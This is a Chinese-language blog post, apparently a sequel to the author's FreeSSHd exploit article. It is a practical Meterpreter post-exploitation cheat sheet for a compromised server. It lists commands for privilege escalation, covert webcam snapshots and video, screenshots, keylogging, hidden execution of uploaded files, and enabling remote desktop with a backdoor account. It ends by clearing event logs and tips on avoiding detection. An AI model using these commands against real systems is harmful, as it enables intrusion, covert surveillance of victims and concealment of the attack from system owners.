我的這篇《FreeSSHd 遠程身份驗證繞過漏洞利用》文章教大家如何利用一個服務的漏洞滲透一臺服務器。
接下來談談滲透後的基本操作。
假設你已經獲得了一個meterpreter連接。輸入help就可以看到最基本的功能。英文很簡單，我就不翻譯了。
meterpreter > help

我常用的姿勢
getuid #查看權限
sysinfo #查看機機的系統信息
ps #查看當前運行的進程
kill <pid> #殺掉進程
shell #進入機機的cmd模式。通過exit退回meterpreter
webcam_list #查看攝像頭
webcam_snap #通過攝像頭拍照
webcam_stream #通過攝像頭開啓視頻
getsystem #獲得system權限
enumdesktops #查看可用的桌面
getdesktop #獲取當前meterpreter 關聯的桌面
set_desktop #設置meterpreter關聯的桌面 -h查看幫助
screenshot #截屏
upload <本地文件地址> <目標地址> # 上傳文件到目標機上
execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe，-H不可見，-i交互
還可以執行很多我們熟悉的文件系統命令
ls
cd
search
cat
rm
mkdir
如果進入了cmd shell，更是可以直接使用cmd的指令執行文件操作了。
shell
嗅探鍵盤記錄
keyscan_start #開始鍵盤記錄
keyscan_dump #導出記錄數據
keyscan_stop #結束鍵盤記錄
開啓遠程桌面的簡單方法：
很多教程教你打一大段命令添加用戶、組、註冊表，其實msf內置的enable_rdp腳本可以方便地開啓遠程桌面服務。
run post/windows/manage/enable_rdp #開啓遠程桌面
run post/windows/manage/enable_rdp USERNAME=smart PASSWORD=i2E456 #添加用戶，設置用戶名密碼
最後，別忘了清理
background #將會話放在後臺，方便我們運行其它腳本
run post/windows/gater/delete_user #使用這個腳本刪除我們建立的用戶
session -l #查看已連接的會話
session -i <id> #進入某會話
clearev #最後清理日誌
不要輕易使用reboot、shutdown等容易被察覺的操作，而且會導致你斷開連接。

後續我再更新我常用又好用的姿勢。
